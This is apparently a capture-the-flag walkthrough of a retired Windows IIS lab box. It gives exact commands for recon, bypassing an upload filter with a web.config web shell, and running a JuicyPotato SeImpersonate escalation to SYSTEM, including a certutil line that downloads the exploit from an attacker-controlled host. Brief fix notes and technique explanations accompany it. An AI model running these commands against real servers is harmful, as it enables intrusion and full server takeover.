Bounty
Summary
I found a hidden file-upload page on the company's IIS web server, bypassed its extension filter by uploading a web.config file containing embedded server-side script code, and gained the ability to run any Windows command through that file. The web server's application account held a dangerous Windows privilege (SeImpersonatePrivilege) that allowed me to use a publicly available tool to impersonate the all-powerful SYSTEM account — giving them complete control of the server.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"Attack path — how the box was taken
Exact commands 2
nmap -sV -sC -p- --min-rate 5000 $TARGETcurl -i http://$TARGET/Exact commands 2
gobuster dir -u http://$TARGET/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x aspx,asp,html,txt -t 40curl -s http://$TARGET/transfer.aspx -o page.html && grep -i 'VIEWSTATE\|EVENTVALIDATION' page.htmlExact commands 2
curl -s http://$TARGET/transfer.aspx -o page.html
VS=$(perl -ne 'print "$1" if /name="__VIEWSTATE"[^>]*value="([^"]+)"/' page.html)
EV=$(perl -ne 'print "$1" if /name="__EVENTVALIDATION"[^>]*value="([^"]+)"/' page.html)curl -s -X POST http://$TARGET/transfer.aspx \
-F "__VIEWSTATE=$VS" \
-F "__EVENTVALIDATION=$EV" \
-F "btnUpload=Upload" \
-F "FileUpload1=@web.config;type=application/octet-stream"FixRemove script-execute permission from the upload directory and expand the extension denylistCritical
Exact commands 2
curl -sG "http://$TARGET/uploadedfiles/web.config" --data-urlencode 'cmd=whoami'curl -sG "http://$TARGET/uploadedfiles/web.config" --data-urlencode 'cmd=type C:\Users\merlin\Desktop\user.txt'Exact commands 1
curl -sG "http://$TARGET/uploadedfiles/web.config" --data-urlencode 'cmd=whoami /priv'FixStrip SeImpersonatePrivilege from the IIS application pool accountCritical
Exact commands 3
python3 -m http.server 9000curl -sG "http://$TARGET/uploadedfiles/web.config" --data-urlencode "cmd=certutil -urlcache -f http://$ATTACKER_IP:9000/win/JuicyPotato.exe C:\Windows\Temp\jp.exe"curl -sG "http://$TARGET/uploadedfiles/web.config" --data-urlencode 'cmd=dir C:\Windows\Temp\jp.exe'Exact commands 3
curl -sG "http://$TARGET/uploadedfiles/web.config" --data-urlencode 'cmd=C:\Windows\Temp\jp.exe -t * -l 1340 -z'curl -sG "http://$TARGET/uploadedfiles/web.config" --data-urlencode 'cmd=C:\Windows\Temp\jp.exe -t t -l 1341 -c {4991d34b-80a1-4291-83b6-3328366b9097} -p C:\Windows\System32\cmd.exe -a "/c whoami > C:\Windows\Temp\proof.txt"'curl -sG "http://$TARGET/uploadedfiles/web.config" --data-urlencode 'cmd=type C:\Windows\Temp\proof.txt'Exact commands 2
curl -sG "http://$TARGET/uploadedfiles/web.config" --data-urlencode 'cmd=C:\Windows\Temp\jp.exe -t t -l 1342 -c {4991d34b-80a1-4291-83b6-3328366b9097} -p C:\Windows\System32\cmd.exe -a "/c type C:\Users\Administrator\Desktop\root.txt > C:\inetpub\wwwroot\uploadedfiles\r.txt"'curl -s http://$TARGET/uploadedfiles/r.txtAttack patterns used
The transferable techniques behind this compromise.
Unrestricted File UploadWebT1505.003
What it is
An upload feature that doesn't properly validate file type/content lets an unauthorised user upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.
Why it works
Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.
Read more
SeImpersonate Abuse (Potato family)Windows · Privilege EscalationT1134.002
What it is
Service accounts (IIS, MSSQL, etc.) often hold SeImpersonatePrivilege. The 'Potato' exploits (JuicyPotato, RoguePotato, PrintSpoofer, GodPotato, JuicyPotatoNG) coerce a SYSTEM process to authenticate to an externally controlled COM/RPC/named-pipe endpoint, then impersonate that SYSTEM token — escalating from the service account to NT AUTHORITY\SYSTEM.
Why it works
Holding SeImpersonate is normal for service accounts, but Windows' token-impersonation model lets it be turned into full SYSTEM via local authentication coercion. Remediate by removing the privilege where unneeded and keeping hosts patched against the specific coercion vectors.